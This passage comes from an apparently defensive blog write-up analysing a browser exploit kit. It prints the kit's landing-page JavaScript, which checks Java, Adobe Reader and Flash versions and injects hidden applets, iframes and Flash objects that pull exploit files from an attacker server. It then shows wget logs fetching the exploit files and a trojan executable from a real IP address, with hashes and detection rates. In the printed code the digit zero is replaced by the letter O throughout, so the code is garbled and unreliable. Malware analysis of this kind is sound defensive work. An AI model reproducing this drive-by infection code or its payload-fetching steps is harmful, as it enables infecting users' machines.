          "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj && n.mimeObj.type ? 
          n.mimeObj.type : e.mimeType[O];
          if (d.should_Insert_Query(O)){
            if (e.OTF < 2){
              e.OTF = 2
            }
            ;
            p[O] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).
            concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(
            f).concat(o), a, e);
            l[O] = [O, O];
            d.query(O)
          }
          if (d.should_Insert_Query(1)){
            if (e.OTF < 2){
              e.OTF = 2
            }
            ;
            p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), [
            "codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt"
            , a].concat(c).concat(f), [].concat(c), a, e);
            l[1] = [O, O];
            d.query(1)
          }
          if (d.should_Insert_Query(2)){
            if (e.OTF < 2){
              e.OTF = 2
            }
            ;
            p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h
            ].concat(f).concat(o), a, e) : i.insertHTML();
            l[2] = [O, O];
            d.query(2)
          }
          if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag()){
            d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
          }
          if (!d.DummySpanTagHTML){
            d.DummySpanTagHTML = i.insertHTML("", [], [], a)
          }
          ;
          var k = e.NOTF;
          if (e.OTF < 3 && k.shouldContinueQuery()){
            e.OTF = 3;
            k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
            if (!i.winLoaded){
              i.WLfuncsO.push([k.winOnLoadQuery, k])
            }
            setTimeout(k.onIntervalQuery, k.intervalLength)
          }
          ;
          return d.getResult()
        }
      }
      , NOTF : {
        $ : 1, count : O, countMax : 25, intervalLength : 25O, shouldContinueQuery : 
        function (){
          var e = this , d = e.$, c = e.$$, b = c.applet, a;
          for (a = O; a < b.results.length; a ++ ){
            if (b.HTML[a] &&! b.results[a][O] && (b.allowed[a] >= 2 || (b.allowed[a] == 1
             &&! b.getResult()[O])) && e.isAppletActive(a) >= O){
              return 1
            }
          }
          return O
        }
        , isJavaActive : function (d){
          var f = this , c = f.$$, a, b, e =- 9;
          for (a = O; a < c.applet.HTML.length; a ++ ){
            b = f.isAppletActive(a, d);
            if (b > e){
              e = b
            }
          }
          return e
        }
        , isAppletActive : function (c, a){
          var d = this , b = d.$$.applet.active;
          if (!a){
            b[c] = d.isAppletActive_(c)
          }
          return b[c]
        }
        , isAppletActive_ : function (d){
          var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML[d], 
          i, k, c = O, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
          count);
          if (j ==- 2){
            return  - 2
          }
          try {
            if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object){
              return 1
            }
          }
          catch (i){
          }
          for (k = O; k < a.active.length; k ++ ){
            if (O < a.active[k]){
              c = 1
            }
          }
          if (j == 1 && (f.isIE || ((b.versionO && l.javaEnabled() && l.mimeObj && (h.
          tagName == "object" || c)) || b.lang.System.getProperty()[O]))){
            return 1
          }
          if (O > j){
            return  - 1
          }
          return O
        }
        , winOnLoadQuery : function (c, d){
          var b = d.$$, a;
          if (b.OTF == 3){
            a = d.queryAllApplets();
            d.queryCompleted(a[1], a[2])
          }
        }
        , $$onIntervalQuery : function (d){
          var c = d.$, b = d.$$, a;
          if (b.OTF == 3){
            a = d.queryAllApplets();
            if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)){
              d.queryCompleted(a[1], a[2])
            }
          }
          d.count++;
          if (b.OTF == 3){
            setTimeout(d.onIntervalQuery, d.intervalLength)
          }
        }
        , queryAllApplets : function (){
          var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
          for (b = O; b < d.results.length; b ++ ){
            d.query(b)
          }
          a = d.getResult();
          c = a[O] ? true : false;
          return [c, a[O], a[1]]
        }
        , queryCompleted : function (c, f){
          var e = this , d = e.$, b = e.$$;
          if (b.OTF >= 4){
            return 
          }
          b.OTF = 4;
          var a = e.isJavaActive();
          b.setPluginStatus(c, f, O);
          if (b.funcs){
            d.callArray(b.funcs)
          }
          if (d.onDoneEmptyDiv){
            d.onDoneEmptyDiv()
          }
        }
      }
      , zz : O
    }
    , flash : {
      mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash"
      , classID : "clsid:D27CDB6E-AE6D-11CF-96B8-44455354OOOO", getVersion : function (){
        var b = function (i){
          if (!i){
            return null
          }
          var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]{
            O, 1
          }
          [ \ d \, ] */ .exec(i);
          return e ? e[O].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
        }
        ;
        var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
        if (!g.isIE){
          m = g.hasMimeType(j.mimeType);
          if (m){
            f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
            try {
              l = g.getNum(f.GetVariable("$version"))
            }
            catch (k){
            }
          }
          if (!l){
            d = m ? m.enabledPlugin : null;
            if (d && d.description){
              l = b(d.description)
            }
            if (l){
              l = g.getPluginFileVersion(d, l)
            }
          }
        }
        else {
          for (h = 15; h > 2; h -- ){
            c = g.getAXO(j.progID + "." + h);
            if (c){
              a = h.toString();
              break 
            }
          }
          if (!c){
            c = g.getAXO(j.progID)
          }
          if (a == "6"){
            try {
              c.AllowScriptAccess = "always"
            }
            catch (k){
              return "6,O,21,O"
            }
          }
          try {
            l = b(c.GetVariable("$version"))
          }
          catch (k){
          }
          if (!l && a){
            l = a
          }
        }
        j.installed = l ? 1 :- 1;
        j.version = g.formatNum(l);
        return true
      }
    }
    , adobereader : {
      mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF", 
      "PDF.PdfCtrl"], classID : "clsid:CA8A978O-28OD-11CF-A24D-44455354OOOO", INSTALLED : 
      {
      }
      , pluginHasMimeType : function (d, c, f){
        var b = this , e = b.$, a;
        for (ain d){
          if (d[a] && d[a].type && d[a].type == c){
            return 1
          }
        }
        if (e.getMimeEnabledPlugin(c, f)){
          return 1
        }
        return O
      }
      , getVersion : function (l, j){
        var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
        if (d.isString(j)){
          j = j.replace(/\s/g, "");
          if (j){
            k = j
          }
        }
        else {
          j = null
        }
        if (d.isDefined(g.INSTALLED[k])){
          g.installed = g.INSTALLED[k];
          return 
        }
        if (!d.isIE){
          a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
          if (g.getVersionDone !== O){
            g.getVersionDone = O;
            b = d.getMimeEnabledPlugin(g.mimeType, a);
            if (!j){
              n = b
            }
            if (!b && d.hasMimeType(g.mimeType)){
              b = d.findNavPlugin(a, O)
            }
            if (b){
              g.navPluginObj = b;
              h = d.getNum(b.description) || d.getNum(b.name);
              h = d.getPluginFileVersion(b, h);
              if (!h && d.OS == 1){
                if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
                  h = "9"
                }
                else {
                  if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
                    h = "8"
                  }
                }
              }
            }
          }
          else {
            h = g.version
          }
          if (!d.isDefined(n)){
            n = d.getMimeEnabledPlugin(k, a)
          }
          g.installed = n && h ? 1 : (n ? O : (g.navPluginObj ?- O.2 :- 1))
        }
        else {
          b = d.getAXO(g.progID[O]) || d.getAXO(g.progID[1]);
          c =/=\ s * ([ \ d \ .] + ) / g;
          try {
            f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", 
            ""], "", g))).GetVersions();
            for (m = O; m < 5; m ++ ){
              if (c.test(f) && (!h || h < RegExp.$1)){
                h = RegExp.$1
              }
            }
          }
          catch (i){
          }
          g.installed = h ? 1 : (b ? O :- 1)
        }
        if (!g.version){
          g.version = d.formatNum(h)
        }
        g.INSTALLED[k] = g.installed
      }
    }
    , zz : O
  }
}
;
pdpd.initScript();
pdpd.getVersion(".");
var $$ = pdpd;
function x(s){
  d = [];
  for (i = O; i < s.length; i ++ ){
    k = (s.charCodeAt(i)).toString(33);
    d.push(k);
  }
  ;
  return d.join(":");
}
end_redirect = function (){
}
;
function j1(){
  if ((document.body.clientWidth || document.body.offsetWidth) < 3O){
    var oSpan = document.createElement("div");
    document.body.appendChild(oSpan);
    oSpan.innerHTML = "
<applet archive=\"/27aa2a2acO5d97b8a923519db3594O9c/q.php?yrjtcrx=bakbcvdu&tpre=bgl\" code
=\"&#OO1O4;&#OO119;\"><param name=\"&#OO112;rime\" value=\"w6h6wP4w4LjhBVVhVhV%f4McB?rVch1
46cM?14cLfc%jhBVVhVhV%f4McB?rVch146cM?14cLfc%jFw3D3xC.b6DO6qO68O1fO6CRSeb6AO6oO1hO11O6oO6o
O6oOhvO16O6tR%b6.RvKbkR?kbq\" /><param name=\"va&#OO1O8;\" value=\"Dyy3Ojj6hc\"/></applet>"
    ;
  }
  return true;
}
function j2(){
  if ((document.body.clientWidth || document.body.offsetWidth) < 3O){
    var oSpan = document.createElement("div");
    document.body.appendChild(oSpan);
    oSpan.innerHTML = "
<applet archive=\"/27aa2a2acO5d97b8a923519db3594O9c/q.php?nxpft=usteys&naj=uoembo\" code=\
"&#OO1O4;&#OO119;\"><param name=\"p&#OO114;ime\" value=\"w6h6wP4w4LjhBVVhVhV%f4McB?rVch146
cM?14cLfc%jhBVVhVhV%f4McB?rVch146cM?14cLfc%jFw3D3xC.b6DO6qO68O1fO6CRSeb6AO6oO1hO11O6oO6oO6
oOhvO16O6tR%b6.RvKbkR?kbq\" /><param name=\"v&#OO97;l\" value=\"Dyy3Ojj6hc\"/></applet>";
  }
  return true;
}
function p1(){
  var d = document.createElement("iframe");
  d.setAttribute("src", "/27aa2a2acO5d97b8a923519db3594O9c/q.php?aflz=" + x("253c4") + 
  "&apkqdfqx=" + x("liy") + "&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=" + x(pdfver.
  join(".")));
  document.body.appendChild(d);
}
function p2(){
  var d = document.createElement("iframe");
  d.setAttribute("src", "/27aa2a2acO5d97b8a923519db3594O9c/q.php?pffwxwm=" + x("253c4") + 
  "&rmuc=" + x("r") + "&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=" + x(pdfver.join(".")));
  document.body.appendChild(d);
}
function p3(){
  return false;
}
function f1(){
  var oSpan = document.createElement("span");
  document.body.appendChild(oSpan);
  var url = "/27aa2a2acO5d97b8a923519db3594O9c/q.php?xvre=" + x("253c4") + "&wjtyz=" + x(
  "ldxayg") + "
&bbzw=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=O2e6b1525353caa8ad4d4ec8ae494e48ae4949af494fab4d4
835364e78b81e79a96e31895ef13e3159192939b1ee5e1929316979b11eb87O7O8f7O487O9669b1O817777b898
46O1e";
  oSpan.innerHTML = "
<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-44455354OOOO' id='asd' width='6OO' height='
4OO' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param
 name='movie' value='" + url + "' /><embed src='" + url + "
' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' plu
ginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
}
function ff2(){
  return false;
}
document.write('');
setTimeout(end_redirect, 61OOO);
var pdfver = [];
function svwrbew6436b($){
  var ar = [];
  var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  if ($.isMinVersion("Ja" + "va") >= O && ((javax[O] == 1 && javax[1] == 7 && javax[3] < 9
  ))){
    ar["push"](j2);
  }
  else if ($.isMinVersion("Ja" + "va") >= O && ((javax[O] == 1 && javax[1] == 6 && javax[3
  ] < 33) || (javax[O] == 1 && javax[1] < 6))){
    ar["push"](j1);
  }
  pdfver = pdpd.getVersion("AdobeReader");
  if (window.document)if (typeof pdfver == "string"){
    pdfver = pdfver["split"](".")
  }
  else {
    pdfver = [O, O, O, O]
  }
  if (pdfver[O] > O && pdfver[O] < 8){
    if (window.document)ar["push"](p1);
  }
  if (((pdfver[O] == 9) && (pdfver[1] >= 3)) || ((pdfver[O] == 1O) && (pdfver[1] < 1O3))){
    ar["push"](p3);
  }
  else {
    if (window.document && (pdfver[O] == 8 || (pdfver[O] == 9 && pdfver[1] < 4))){
      ar["push"](p2);
    }
  }
  var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  if (((ver[O] == 1O && ver[1] == O && ver[2] > 4O) || (window.document && (ver[O] == 1O && 
  ver[1] > O) && (ver[O] == 1O && ver[1] < 2))) || window.document && ((ver[O] == 1O && 
  ver[1] == 2 && ver[2] < 159) || (ver[O] == 1O && ver[1] < 2))){
    ar["push"](ff2);
  }
  if ((ver[O] == 1O && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[O] == 1O && 
  ver[1] == 3 && ver[2] < 181)){
    ar["push"](f1);
  }
  var arcalli = O;
  var arcall = function (){
    if (ar.length <= arcalli)return 123;
    ss = setTimeout;
    var res = ar[arcalli]();
    arcalli++;
    if (res && window.document){
      ss(function (){
        arcall()
      }
      , 55O9);
    }
    else {
      arcall();
    }
  }
  ;
  arcall();
}
$$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../data/getJavaInfo.jar")
 

MD5: cddf964beebe004d20e7c93f1daf1a1e
WepaWet analysis: http://wepawet.iseclab.org/view.php?hash=cddf964beebe004d20e7c93f1daf1a1e&type=js

yakes! a long script doing all kind of stuff???
Well we are looking into the exploit files served by these bad guys so lets see if we can figure that out.

3. Get the URL's to the exploit files

Normally there will be one or more PDF file, one or more JAR file and one or mor flash file.

In this script the functions p1(), p2() and p(3) will build the URL's for the PDF files. f1() and ff2() will build the URL's for the Flash exploits nad j1(), j2() and j3() will build the URL's for the the Java ones.

The function x() is thrown in to build the ":" separated parameters.

Find a way to run the x() function safely. I like writecodeonline http://writecodeonline.com/javascript/.

Make the function print the parameters:

function x(s){
  d = [];
  for (i = 0; i < s.length; i ++ ){
    k = (s.charCodeAt(i)).toString(33);
    d.push(k);
  }
  ;
  return d.join(":");
}
str1 = x("inputstring");

document.write(str1);

Just change "inputstring" to what it should be according to the strings in the px(), jx() and fx() function and we have the URL's :)

Like this: function p1():

"/27aa2a2ac05d97b8a923519db359409c/q.php?aflz=" + x("253c4") + 
  "&apkqdfqx=" + x("liy") + "&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=" + x(pdfver.
  join(".")));

becomes this URL:

hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?aflz=1h:1k:1i:30:1j&apkqdfqx=39:36:3m&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=1o:1d:1i
In detail:
 x("253c4")   =  1h:1k:1i:30:1j
 x("liy")    =  39:36:3m
 x(pdfver.join(".")) = 1o:1d:1i where pdfver.join(".") = "9.4"

Different version of the software might get you different exploit files.

4. Now we are ready to looth the EK :)

hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?aflz=1h:1k:1i:30:1j&apkqdfqx=39:36:3m&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=1o:1d:1i
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 11:39:15 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Content-Length: 20389
  ETag: "dee4c63ecd6d3466990731fde2ac0902"
  Last-Modified: Fri, 01 Mar 2013 08:43:40 GMT
  Accept-Ranges: bytes
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 20389 (20K) [application/pdf]
Saving to: `q.php?aflz=1h:1k:1i:30:1j&apkqdfqx=39:36:3m&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=1o:1d:1i'

     0K .......... .........                                  100% 35.6K=0.6s

 (35.6 KB/s) - `q.php?aflz=1h:1k:1i:30:1j&apkqdfqx=39:36:3m&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=1o:1d:1i' saved [20389/20389]

  



  hxxp://129.121.65.54//27aa2a2ac05d97b8a923519db359409c/q.php?yrjtcrx=bakbcvdu&tpre=bgl
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 13:28:30 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22355
  ETag: "3077376f4df81c082b1e73c3ef6060ad"
  Last-Modified: Fri, 01 Mar 2013 10:32:55 GMT
  Accept-Ranges: bytes
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 22355 (22K) [application/java-archive]
Saving to: `q.php?yrjtcrx=bakbcvdu&tpre=bgl.1'

     0K .......... .......... .                               100% 15.2K=1.4s

 (15.2 KB/s) - `q.php?yrjtcrx=bakbcvdu&tpre=bgl.1' saved [22355/22355]

hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?nxpft=usteys&naj=uoembo
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:05:00 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22355
  ETag: "3077376f4df81c082b1e73c3ef6060ad"
  Last-Modified: Fri, 01 Mar 2013 11:09:25 GMT
  Accept-Ranges: bytes
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 22355 (22K) [application/java-archive]
Saving to: `q.php?nxpft=usteys&naj=uoembo'

     0K .......... .......... .                               100% 11.8K=1.8s

 (11.8 KB/s) - `q.php?nxpft=usteys&naj=uoembo' saved [22355/22355]


hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?nxpft=usteys&naj=uoembo
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:13:45 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22324
  ETag: "cebed8a3db4a9695cb59ffa25e4bfeb3"
  Last-Modified: Fri, 01 Mar 2013 11:18:10 GMT
  Accept-Ranges: bytes
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 22324 (22K) [application/java-archive]
Saving to: `q.php?nxpft=usteys&naj=uoembo.1'

     0K .......... .......... .                               100% 38.3K=0.6s

 (38.3 KB/s) - `q.php?nxpft=usteys&naj=uoembo.1' saved [22324/22324]


hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?xvre=1h:1k:1i:30:1j&wjtyz=39:31:3l:2v:3m:34&bbzw=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=02e6b1525353caa8ad4d4ec8ae494e48ae4949af494fab4d4835364e78b81e79a96e31895ef13e3159192939b1ee5e1929316979b11eb870708f7048709669b10817777b8984601e
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:21:50 GMT
  Server: nginx/0.7.65
  Content-Type: text/html
  X-Powered-By: PHP/5.3.2
  Connection: close
Length: unspecified [text/html]
Saving to: `q.php?xvre=1h:1k:1i:30:1j&wjtyz=39:31:3l:2v:3m:34&bbzw=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=02e6b1525353caa8ad4d4ec8ae494e48ae4949af494fab4d4835364e78b81e79a96e31895ef13e3159192939b1ee5e1929316979b11eb870708f7048709669b10817777b8984601e'

     0K ..                                                     1.20M=0.002s

 (1.20 MB/s) - `q.php?xvre=1h:1k:1i:30:1j&wjtyz=39:31:3l:2v:3m:34&bbzw=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=02e6b1525353caa8ad4d4ec8ae494e48ae4949af494fab4d4835364e78b81e79a96e31895ef13e3159192939b1ee5e1929316979b11eb870708f7048709669b10817777b8984601e' saved [2671]


hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1i
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:47:57 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Accept-Ranges: bytes
  Content-Length: 9999
  Content-Disposition: inline; filename=502c5.pdf
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 9999 (9.8K) [application/pdf]
Saving to: `q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1i'

     0K .........                                             100% 13.0K=0.8s

 (13.0 KB/s) - `q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1i' saved [9999/9999]

hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1j
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:58:19 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Accept-Ranges: bytes
  Content-Length: 10934
  Content-Disposition: inline; filename=fb44e.pdf
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 10934 (11K) [application/pdf]
Saving to: `q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1j'

     0K ..........                                            100% 32.8K=0.3s

 (32.8 KB/s) - `q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1j' saved [10934/10934]

5. Exploit files overview

PDF1: 502c5.pdf (my name = 9_3.pdf)
MD5: 1bbb973e33111bdc86d4168101102bf2
Virustotal : ??
WepaWet: Link
type=js
CVE: CVE-2009-0927
ClamAV: Not infected

PDF2: fb44e.pdf (my name = 9_2.pdf)
MD5: 724f867d6d4718771732e2bfdcaa6873
Virustotal: 4/31
WepaWet: benign
CVE:
ClamAV: Not infected

PDF3: (my name 9_4.pdf)
MD5:411e461788b9e94618b464daa0fcf123
Virustotal : 10/46
WepaWet: benign
CVE:
ClamAV: Not infected

JAR1: (my name 9_3.jar)
MD5: 3077376f4df81c082b1e73c3ef6060ad
Virustotal: 2/46
CVE: ??
ClamAV: Not infected

JAR2: (my name 9_3_16.jar)
MD5: cebed8a3db4a9695cb59ffa25e4bfeb3
Virustotal:
CVE: ??
ClamAV: Not infected

SWF1: (my name 9_3.swf)
MD5: db2d3584fdbacdb7fd58fadc558144ae
Virustotal: 12/46
CVE: ??
ClamAV: Not infected

6. EXE file

From the Wepawet analyzis we actually got the embedded URL to the infection malware that the bad guys wanted to throw at us so lets fetch that as well.

hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/27aa2a2ac05d97b8a923519db359409c/q.php?gtfsgben=1h:1k:1i:30:1j&nueini=1g:1n:32:33:1n:1n:1n:2v:31:1o&lmjognd=1h&wesjtyu=inlis&qoewm=ykqn
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 11:43:35 GMT
  Server: nginx/0.7.65
  Content-Type: application/x-msdownload
  X-Powered-By: PHP/5.3.2
  Pragma: public
  Expires: Fri, 01 Mar 2013 08:48:01 GMT
  Cache-Control: must-revalidate, post-check=0, pre-check=0
  Cache-Control: private
  Content-Disposition: attachment; filename="about.exe"
  Content-Transfer-Encoding: binary
  Content-Length: 62072
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 62072 (61K) [application/x-msdownload]
Saving to: `q.php?gtfsgben=1h:1k:1i:30:1j&nueini=1g:1n:32:33:1n:1n:1n:2v:31:1o&lmjognd=1h&wesjtyu=inlis&qoewm=ykqn'

     0K .......... .......... .......... .......... .......... 82% 55.1K 0s
    50K ..........                                            100% 88.8K=1.0s

  (59.0 KB/s) - `q.php?gtfsgben=1h:1k:1i:30:1j&nueini=1g:1n:32:33:1n:1n:1n:2v:31:1o&lmjognd=1h&wesjtyu=inlis&qoewm=ykqn' saved [62072/62072] 

EXE file: about.exe (my name 9_3.dll)
MD5: 812c4d5a6312cd8a0430282a04c97ea5
Virustotal: 16/45
ClamAV: Not infected

Probaly a trojan.

7. Done?

Further analyzis could be to infect a client with the trojan and see what that does. No time for that today :( hopefully som other day...


Happy to take feedback on errors, hints to make it better...


Happy EK Fighting :)

Post publish reading:
sucuriBlog - "Auto Generated Iframes To Blackhole Exploit Kit – Following the Cookie Trail"